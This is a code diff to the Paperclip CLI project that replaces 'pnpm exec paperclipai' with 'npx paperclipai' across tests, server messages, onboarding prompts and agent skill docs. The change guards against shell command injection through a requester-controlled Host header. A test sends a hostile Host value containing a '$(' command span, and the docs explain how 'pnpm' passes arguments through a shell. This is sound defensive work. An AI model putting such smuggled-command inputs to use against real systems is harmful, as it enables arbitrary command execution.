});
|
||||
|
||||
// ── Direct assertions on the runtime-generated instruction surfaces ──────
|
||||
|
||||
it("emits a static, non-interpolated safe form from the private-hostname guard messages", () => {
|
||||
|
|
@ -242,17 +707,19 @@ describe("paperclipai CLI invocation safety", () => {
|
|||
// The blocked-host and missing-host messages must never interpolate the
|
||||
// request Host header into the guidance command. An operator or an agent
|
||||
// can paste the guidance into a shell, and that outer shell evaluates a
|
||||
// metacharacter span in the host before any CLI receives argv. `pnpm exec`
|
||||
// does not stop the outer shell. Emit a static `<host>` placeholder only.
|
||||
expect(source).toContain("run pnpm exec paperclipai allowed-hostname <host>");
|
||||
// metacharacter span in the host before any CLI receives argv. A direct-exec
|
||||
// form does not stop the outer shell. Emit a static `<host>` placeholder only.
|
||||
expect(source).toContain("run npx paperclipai allowed-hostname <host>");
|
||||
expect(source).not.toContain("allowed-hostname ${hostname}");
|
||||
expect(source).not.toContain("pnpm paperclipai allowed-hostname");
|
||||
expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
|
||||
});
|
||||
|
||||
it("emits a static, non-interpolated safe form from the onboarding access diagnostics", () => {
|
||||
const source = read("server/src/routes/access.ts");
|
||||
expect(source).not.toMatch(/pnpm paperclipai allowed-hostname/);
|
||||
expect(source).toContain("pnpm exec paperclipai allowed-hostname <host>");
|
||||
expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
|
||||
expect(source).toContain("npx paperclipai allowed-hostname <host>");
|
||||
// The onboarding host comes from the request base URL, so a requester
|
||||
// controls it. The emitted command must carry a static `<host>` placeholder
|
||||
// and never interpolate that value.
|
||||
|
|
@ -262,7 +729,8 @@ describe("paperclipai CLI invocation safety", () => {
|
|||
it("emits the safe form from the agent onboarding prompt", () => {
|
||||
const source = read("ui/src/lib/agent-onboarding-prompt.ts");
|
||||
expect(source).not.toContain("pnpm paperclipai allowed-hostname");
|
||||
expect(source).toContain("pnpm exec paperclipai allowed-hostname <host>");
|
||||
expect(source).not.toContain("pnpm exec paperclipai allowed-hostname");
|
||||
expect(source).toContain("npx paperclipai allowed-hostname <host>");
|
||||
});
|
||||
|
||||
it("emits the safe form in the generated company-export README", () => {
|
||||
|
|
@ -270,14 +738,76 @@ describe("paperclipai CLI invocation safety", () => {
|
|||
{ agents: [], projects: [], skills: [], issues: [] } as never,
|
||||
{ companyName: "Acme", companyDescription: null },
|
||||
);
|
||||
expect(readme).toContain("pnpm exec paperclipai company import this-github-url-or-folder");
|
||||
expect(readme).toContain("npx paperclipai company import this-github-url-or-folder");
|
||||
expect(readme).not.toContain("pnpm paperclipai company import");
|
||||
expect(readme).not.toContain("pnpm exec paperclipai company import");
|
||||
});
|
||||
|
||||
it("emits the safe form in the company-export preview builder", () => {
|
||||
const source = read("ui/src/pages/CompanyExport.tsx");
|
||||
expect(source).not.toContain("pnpm paperclipai company import");
|
||||
expect(source).toContain("pnpm exec paperclipai company import");
|
||||
expect(source).not.toContain("pnpm exec paperclipai company import");
|
||||
expect(source).toContain("npx paperclipai company import");
|
||||
});
|
||||
|
||||
// ── Runtime surfaces and their fixed literal lifecycle hints ─────────────
|
||||
//
|
||||
// The server startup banner, the UI bootstrap fallback, and the board skill
|
||||
// emit the onboard, bootstrap, and board-setup hints. These three surfaces
|
||||
// reach readers on the published install, who have no monorepo checkout. The
|
||||
// `pnpm paperclipai` script resolves only inside a checkout, so each surface
|
||||
// must pin the `npx paperclipai` form. The client connection-error hint also
|
||||
// reaches a reader who may run an installed package, so it keeps `npx`. The
|
||||
// env-lab cleanup hint runs from a source checkout and must work from any
|
||||
// subdirectory, so it uses the module-resolved direct-exec form (see below).
|
||||
|
||||
it("emits the onboard hint from the server startup banner", () => {
|
||||
const source = read("server/src/startup-banner.ts");
|
||||
expect(source).toContain("npx paperclipai onboard");
|
||||
expect(source).not.toContain("pnpm paperclipai onboard");
|
||||
expect(source).not.toContain("pnpm exec paperclipai onboard");
|
||||
});
|
||||
|
||||
it("emits the safe run form from the client connection-error hint", () => {
|
||||
const source = read("cli/src/client/http.ts");
|
||||
expect(source).toContain("npx paperclipai run");
|
||||
expect(source).not.toContain("pnpm paperclipai run");
|
||||
});
|
||||
|
||||
it("emits the checked-out CLI cleanup form from the env-lab status output", () => {
|
||||
const source = read("cli/src/commands/env-lab.ts");
|
||||
// The env-lab fixture runs from a source checkout. The cleanup hint must run
|
||||
// the local `cli/src` through the direct-exec form. That form passes an inert
|
||||
// `argv` value, so no shell reads the argument. The hint resolves the paths
|
||||
// from the module location, so it works from any subdirectory of the
|
||||
// checkout. A `cli/...` path relative to the caller would break outside the
|
||||
// repository root. The `cli/src/env-lab.test.ts` suite proves the runtime
|
||||
// behaviour; this check pins the source form.
|
||||
expect(source).toContain("fileURLToPath(import.meta.url)");
|
||||
expect(source).toContain('path.join(cliRoot, "src", "index.ts")');
|
||||
expect(source).toContain("env-lab down");
|
||||
// The bare `pnpm paperclipai` script form is unsafe. Do not restore it.
|
||||
expect(source).not.toContain("pnpm paperclipai env-lab");
|
||||
// `pnpm exec paperclipai` does not resolve the CLI binary. Do not use it.
|
||||
expect(source).not.toContain("pnpm exec paperclipai env-lab");
|
||||
// The CWD-relative form breaks from a checkout subdirectory. Do not restore it.
|
||||
expect(source).not.toContain(
|
||||
"node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts env-lab down",
|
||||
);
|
||||
});
|
||||
|
||||
it("emits the bootstrap fallback command from the UI", () => {
|
||||
const source = read("ui/src/bootstrapSetup.ts");
|
||||
expect(source).toContain("npx paperclipai auth bootstrap-ceo");
|
||||
expect(source).not.toContain("pnpm paperclipai auth bootstrap-ceo");
|
||||
expect(source).not.toContain("pnpm exec paperclipai auth bootstrap-ceo");
|
||||
});
|
||||
|
||||
it("emits the setup form from the board skill", () => {
|
||||
const source = read("skills/paperclip-board/SKILL.md");
|
||||
expect(source).toContain("npx paperclipai board setup");
|
||||
expect(source).not.toContain("pnpm paperclipai board setup");
|
||||
expect(source).not.toContain("pnpm exec paperclipai board setup");
|
||||
});
|
||||
|
||||
// ── The safe-invocation note ─────────────────────────────────────────────
|
||||
|
|
@ -285,14 +815,33 @@ describe("paperclipai CLI invocation safety", () => {
|
|||
it("documents the safe form in doc/CLI.md", () => {
|
||||
const cli = read("doc/CLI.md");
|
||||
expect(cli).toContain("Security: safe invocation for content-bearing arguments");
|
||||
expect(cli).toContain("pnpm exec paperclipai");
|
||||
expect(cli).toContain("npx paperclipai");
|
||||
expect(cli).toContain("inert `argv`");
|
||||
// The policy section states the exact-allowlist rule.
|
||||
expect(cli).toContain("allowlist entry is an offender");
|
||||
});
|
||||
|
||||
it("documents offline and air-gapped use with a safe cache-only form", () => {
|
||||
const cli = read("doc/CLI.md");
|
||||
const subsection = extractOfflineSubsection(cli);
|
||||
// The offline subsection must exist and must name the cache-only safe form.
|
||||
expect(subsection).toContain("### Offline and air-gapped use");
|
||||
expect(subsection).toContain("npx --offline paperclipai");
|
||||
// The offline subsection must not present `pnpm paperclipai` or
|
||||
// `pnpm exec paperclipai` as a safe or offline form. Only a warning line
|
||||
// may name `pnpm paperclipai`, and it must tell the reader not to use it.
|
||||
for (const line of subsection.split("\n")) {
|
||||
expect(line).not.toContain("pnpm exec paperclipai");
|
||||
if (line.includes("pnpm paperclipai")) {
|
||||
expect(line.toLowerCase()).toContain("do not use");
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
it("documents the safe form in the agent-facing skill", () => {
|
||||
const skill = read("skills/paperclip/SKILL.md");
|
||||
expect(skill).toContain("CLI safety");
|
||||
expect(skill).toContain("pnpm exec paperclipai");
|
||||
expect(skill).toContain("npx paperclipai");
|
||||
expect(skill).toContain("Do not use `pnpm paperclipai`");
|
||||
});
|
||||
|
||||
|
|
@ -310,7 +859,6 @@ describe("paperclipai CLI invocation safety", () => {
|
|||
expect(offenders).toHaveLength(1);
|
||||
// The report points to the first physical line of the command.
|
||||
expect(offenders[0]).toContain("doc/EXAMPLE.md:2:");
|
||||
expect(offenders[0]).toContain("--title");
|
||||
});
|
||||
|
||||
it("flags a continued command whose only content-bearing flag sits on the last line", () => {
|
||||
|
|
@ -334,12 +882,19 @@ describe("paperclipai CLI invocation safety", () => {
|
|||
expect(scanText("doc/EXAMPLE.md", source)).toEqual([]);
|
||||
});
|
||||
|
||||
it("does not flag a continued pnpm paperclipai command without content-bearing arguments", () => {
|
||||
it("does not flag a continued pnpm paperclipai command that stays on the allowlist", () => {
|
||||
const source = [
|
||||
"pnpm paperclipai worktree reseed \\",
|
||||
" --from current \\",
|
||||
" --seed-mode full",
|
||||
"pnpm paperclipai env-lab \\",
|
||||
" status \\",
|
||||
" --json",
|
||||
].join("\n");
|
||||
expect(scanText("doc/EXAMPLE.md", source)).toEqual([]);
|
||||
});
|
||||
|
||||
it("flags a recommended pnpm exec paperclipai line but skips a warning line", () => {
|
||||
expect(recommendsBrokenExecForm("Run pnpm exec paperclipai issue create --title x")).toBe(true);
|
||||
expect(
|
||||
recommendsBrokenExecForm("`pnpm exec paperclipai <command> <args>` — broken. Do not use it."),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -48,7 +48,7 @@ describe("privateHostnameGuard", () => {
|
|||
expect(res.status).toBe(403);
|
||||
// The remediation command carries a static `<host>` placeholder. It never
|
||||
// interpolates the request Host header into the command.
|
||||
expect(res.body?.error).toContain("run pnpm exec paperclipai allowed-hostname <host>");
|
||||
expect(res.body?.error).toContain("run npx paperclipai allowed-hostname <host>");
|
||||
expect(res.body?.error).not.toContain(unknownHostname);
|
||||
});
|
||||
|
||||
|
|
@ -76,7 +76,7 @@ describe("privateHostnameGuard", () => {
|
|||
expect(next).not.toHaveBeenCalled();
|
||||
expect(res.status).toHaveBeenCalledWith(403);
|
||||
expect(res.send).toHaveBeenCalledWith(
|
||||
expect.stringContaining("run pnpm exec paperclipai allowed-hostname <host>"),
|
||||
expect.stringContaining("run npx paperclipai allowed-hostname <host>"),
|
||||
);
|
||||
expect(res.send).not.toHaveBeenCalledWith(expect.stringContaining(unknownHostname));
|
||||
}, 20_000);
|
||||
|
|
@ -91,7 +91,7 @@ describe("privateHostnameGuard", () => {
|
|||
const app = createApp({ enabled: true, allowedHostnames: ["some-other-host"] });
|
||||
const res = await request(app).get("/api/health").set("Host", hostileHost);
|
||||
expect(res.status).toBe(403);
|
||||
expect(res.body?.error).toContain("run pnpm exec paperclipai allowed-hostname <host>");
|
||||
expect(res.body?.error).toContain("run npx paperclipai allowed-hostname <host>");
|
||||
expect(res.body?.error).not.toContain("evil");
|
||||
expect(res.body?.error).not.toContain("$(");
|
||||
expect(res.body?.error).not.toContain("marker");
|
||||
|
|
|
|||
|
|
@ -47,7 +47,7 @@ Network examples:
|
|||
- Local loopback on one host: agentDefaultsPayload.apiBaseUrl = "http://127.0.0.1:8642"; agentDefaultsPayload.paperclipApiUrl = "http://127.0.0.1:3100".
|
||||
- Local dashboard root or chat URL on one host: agentDefaultsPayload.apiBaseUrl = "http://127.0.0.1:9119" or "http://127.0.0.1:9119/chat"; Paperclip maps it to "http://127.0.0.1:9119/api".
|
||||
- LAN/private network: agentDefaultsPayload.apiBaseUrl = "http://192.168.1.25:8642"; agentDefaultsPayload.paperclipApiUrl = "http://192.168.1.10:3100". Use private IPs or hostnames reachable from both machines.
|
||||
- Private overlay: agentDefaultsPayload.apiBaseUrl = "http://hermes-host.tailnet-name.ts.net:8642"; agentDefaultsPayload.paperclipApiUrl = "http://paperclip-host.tailnet-name.ts.net:3100". Add the Paperclip hostname with pnpm exec paperclipai allowed-hostname <host> when authenticated/private mode requires it.
|
||||
- Private overlay: agentDefaultsPayload.apiBaseUrl = "http://hermes-host.tailnet-name.ts.net:8642"; agentDefaultsPayload.paperclipApiUrl = "http://paperclip-host.tailnet-name.ts.net:3100". Add the Paperclip hostname with npx paperclipai allowed-hostname <host> when authenticated/private mode requires it.
|
||||
- Docker: if Hermes runs on the host and Paperclip runs in Docker, use agentDefaultsPayload.apiBaseUrl = "http://host.docker.internal:8642". If Hermes runs in another container, use the Compose service DNS name such as "http://hermes:8642".
|
||||
- Reverse proxy/TLS: publish Hermes behind HTTPS and set agentDefaultsPayload.apiBaseUrl = "https://hermes-gateway.example"; set agentDefaultsPayload.paperclipApiUrl = "https://paperclip.example". Keep API_SERVER_KEY required at the origin or proxy.
|
||||
|
||||
|
|
|
|||
|
|
@ -46,12 +46,12 @@ export function resolvePrivateHostnameAllowSet(opts: { allowedHostnames: string[
|
|||
// requester controls it. Never put that value into the guidance command. An
|
||||
// operator or an agent can paste the guidance into a shell, and that outer
|
||||
// shell evaluates a backtick, `$( )`, or `$NAME` span in the host before any
|
||||
// CLI receives argv. A direct-exec form such as `pnpm exec` does not stop the
|
||||
// CLI receives argv. A direct-exec form such as `npx` does not stop the
|
||||
// outer shell. Emit a static `<host>` placeholder and do not echo the raw request
|
||||
// value. The operator supplies the real hostname.
|
||||
const BLOCKED_HOSTNAME_MESSAGE =
|
||||
"This hostname is not allowed for this Paperclip instance. " +
|
||||
"If you want to allow a hostname, run pnpm exec paperclipai allowed-hostname <host>.";
|
||||
"If you want to allow a hostname, run npx paperclipai allowed-hostname <host>.";
|
||||
|
||||
export function privateHostnameGuard(opts: {
|
||||
enabled: boolean;
|
||||
|
|
@ -72,7 +72,7 @@ export function privateHostnameGuard(opts: {
|
|||
const wantsJson = req.path.startsWith("/api") || req.accepts(["json", "html", "text"]) === "json";
|
||||
|
||||
if (!hostname) {
|
||||
const error = "Missing Host header. If you want to allow a hostname, run pnpm exec paperclipai allowed-hostname <host>.";
|
||||
const error = "Missing Host header. If you want to allow a hostname, run npx paperclipai allowed-hostname <host>.";
|
||||
if (wantsJson) {
|
||||
res.status(403).json({ error });
|
||||
} else {
|
||||
|
|
|
|||
|
|
@ -1646,9 +1646,9 @@ function buildOnboardingDiscoveryDiagnostics(input: {
|
|||
// Never put that value into the guidance command. An operator or an agent
|
||||
// can paste the command into a shell, and that outer shell evaluates a
|
||||
// metacharacter span in the host before any CLI receives argv. A
|
||||
// direct-exec form such as `pnpm exec` does not stop the outer shell. Emit
|
||||
// direct-exec form such as `npx` does not stop the outer shell. Emit
|
||||
// a static `<host>` placeholder and keep the raw host in the message only.
|
||||
hint: `Run pnpm exec paperclipai allowed-hostname <host>`
|
||||
hint: `Run npx paperclipai allowed-hostname <host>`
|
||||
});
|
||||
}
|
||||
|
||||
|
|
@ -1782,7 +1782,7 @@ function buildInviteOnboardingManifest(
|
|||
guidance:
|
||||
opts.deploymentMode === "authenticated" &&
|
||||
opts.deploymentExposure === "private"
|
||||
? "If OpenClaw runs on another machine, ensure the Paperclip hostname is reachable and allowed via `pnpm exec paperclipai allowed-hostname <host>`."
|
||||
? "If OpenClaw runs on another machine, ensure the Paperclip hostname is reachable and allowed via `npx paperclipai allowed-hostname <host>`."
|
||||
: "Ensure OpenClaw can reach this Paperclip API base URL for invite, claim, and skill bootstrap calls."
|
||||
},
|
||||
textInstructions: {
|
||||
|
|
@ -2005,7 +2005,7 @@ export function buildInviteOnboardingTextDocument(
|
|||
|
||||
If none are reachable: ask your human operator for a reachable hostname/address and help them update network configuration.
|
||||
For authenticated/private mode, they may need:
|
||||
- pnpm exec paperclipai allowed-hostname <host>
|
||||
- npx paperclipai allowed-hostname <host>
|
||||
- then restart Paperclip and retry onboarding.
|
||||
`);
|
||||
}
|
||||
|
|
|
|||
|
|
@ -157,7 +157,7 @@ export function generateReadme(
|
|||
lines.push("## Getting Started");
|
||||
lines.push("");
|
||||
lines.push("```bash");
|
||||
lines.push("pnpm exec paperclipai company import this-github-url-or-folder");
|
||||
lines.push("npx paperclipai company import this-github-url-or-folder");
|
||||
lines.push("```");
|
||||
lines.push("");
|
||||
lines.push("See [Paperclip](https://paperclip.ing) for more information.");
|
||||
|
|
|
|||
|
|
@ -93,7 +93,7 @@ function resolveAgentJwtSecretStatus(
|
|||
|
||||
return {
|
||||
status: "warn",
|
||||
message: "missing (run `pnpm paperclipai onboard`)",
|
||||
message: "missing (run `npx paperclipai onboard`)",
|
||||
};
|
||||
}
|
||||
|
||||
|
|
|
|||
|
|
@ -30,7 +30,7 @@ You are a board-level assistant helping a human manage their AI-agent company th
|
|||
|
||||
Every time you begin a new conversation with the user:
|
||||
|
||||
1. Check if `PAPERCLIP_API_URL` is set. If not, tell the user to run `pnpm paperclipai board setup`.
|
||||
1. Check if `PAPERCLIP_API_URL` is set. If not, tell the user to run `npx paperclipai board setup`.
|
||||
2. Check if `PAPERCLIP_COMPANY_ID` is set.
|
||||
- If set: fetch the dashboard to understand current state.
|
||||
- If not set: list companies to see if any exist, or guide through company creation.
|
||||
|
|
|
|||
|
|
@ -23,7 +23,7 @@ Some adapters also inject `PAPERCLIP_WAKE_PAYLOAD_JSON` on comment-driven wakes.
|
|||
|
||||
Manual local CLI mode (outside heartbeat runs): use `paperclipai agent local-cli <agent-id-or-shortname> --company-id <company-id>` to install Paperclip skills for Claude/Codex and print/export the required `PAPERCLIP_*` environment variables for that agent identity.
|
||||
|
||||
**CLI safety — use `pnpm exec paperclipai` for content-bearing arguments.** When you run the Paperclip CLI, use `pnpm exec paperclipai` for any argument that can hold untrusted content. Untrusted content includes issue text, comment bodies, Markdown, pasted snippets, and model output. `pnpm exec` runs the installed binary directly and passes the argument as an inert `argv` value. Do not use `pnpm paperclipai` for such an argument. The safe form and the unsafe form differ only by the `exec` keyword, so read the command with care. `pnpm paperclipai` is a `package.json` script; `pnpm` runs the argument through `/bin/sh` first. The shell then interprets a backtick pair, `$( )`, `$NAME`, and `; | & < >` before the CLI starts. A crafted value can run an arbitrary command as the invoking user, or expand an environment variable into the stored argument. `npx paperclipai` is also injection-safe; use it when no local install is present. See `doc/CLI.md` for the full safe/unsafe matrix.
|
||||
**CLI safety — use `npx paperclipai` for content-bearing arguments.** When you run the Paperclip CLI, use `npx paperclipai` for any argument that can hold untrusted content. Untrusted content includes issue text, comment bodies, Markdown, pasted snippets, and model output. `npx paperclipai` runs the CLI binary directly and passes the argument as an inert `argv` value; it does not run a shell over the value. Do not use `pnpm paperclipai` for such an argument. `pnpm paperclipai` is a `package.json` script; `pnpm` appends the argument to a `/bin/sh` command string, so the shell reads it first and interprets a backtick pair, `$( )`, or `$NAME` before the CLI starts. A crafted value can run an arbitrary command as the invoking user, or expand an environment variable into the stored argument. This risk stays even when the argument comes from a quoted shell variable, because `pnpm` re-evaluates the value in its own shell. Do not use `pnpm exec paperclipai` either; the root workspace does not link that binary, so the command fails with `Command "paperclipai" not found`. To run local `cli/src` changes with a content-bearing argument, use `node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts <command> <args>`. See `doc/CLI.md` for the full safe/unsafe matrix.
|
||||
|
||||
**Run audit trail:** You MUST include `-H 'X-Paperclip-Run-Id: $PAPERCLIP_RUN_ID'` on ALL API requests that modify issues (checkout, update, comment, create subtask, release). This links your actions to the current heartbeat run for traceability.
|
||||
|
||||
|
|
|
|||
|
|
@ -160,7 +160,7 @@ describe("CloudAccessGate", () => {
|
|||
|
||||
expect(container.textContent).toContain("Finish setting up this Paperclip");
|
||||
expect(container.textContent).toContain("Sign in / Create account");
|
||||
expect(container.textContent).toContain("pnpm paperclipai auth bootstrap-ceo");
|
||||
expect(container.textContent).toContain("npx paperclipai auth bootstrap-ceo");
|
||||
expect(mockAccessApi.getCurrentBoardAccess).not.toHaveBeenCalled();
|
||||
|
||||
unmountRoot(root);
|
||||
|
|
|
|||
|
|
@ -1 +1 @@
|
|||
export const BOOTSTRAP_FALLBACK_COMMAND = "pnpm paperclipai auth bootstrap-ceo";
|
||||
export const BOOTSTRAP_FALLBACK_COMMAND = "npx paperclipai auth bootstrap-ceo";
|
||||
|
|
|
|||
|
|
@ -18,13 +18,13 @@ export function buildAgentOnboardingPrompt(input: AgentOnboardingPromptInput) {
|
|||
? `No candidate URLs are available. Ask the operator to configure a reachable Paperclip hostname, then retry.
|
||||
Suggested steps for the operator:
|
||||
- choose a hostname that resolves to the Paperclip host from your runtime
|
||||
- run: pnpm exec paperclipai allowed-hostname <host>
|
||||
- run: npx paperclipai allowed-hostname <host>
|
||||
- restart Paperclip
|
||||
- verify with: curl -fsS http://<host>:3100/api/health
|
||||
- regenerate this agent onboarding prompt`
|
||||
: `If none are reachable, ask the operator to add a reachable Paperclip hostname, restart, and retry.
|
||||
Suggested command for the operator:
|
||||
- pnpm exec paperclipai allowed-hostname <host>
|
||||
- npx paperclipai allowed-hostname <host>
|
||||
Then verify with: curl -fsS <base-url>/api/health`;
|
||||
|
||||
const resolutionLine = resolutionTestUrl
|
||||
|
|
|
|||
|
|
@ -484,7 +484,7 @@ function generateReadmeFromSelection(
|
|||
lines.push("## Getting Started");
|
||||
lines.push("");
|
||||
lines.push("```bash");
|
||||
lines.push("pnpm exec paperclipai company import this-github-url-or-folder");
|
||||
lines.push("npx paperclipai company import this-github-url-or-folder");
|
||||
lines.push("```");
|
||||
lines.push("");
|
||||
lines.push("See [Paperclip](https://paperclip.ing) for more information.");
|
||||
|
|
|
|||
Loading…
Reference in New Issue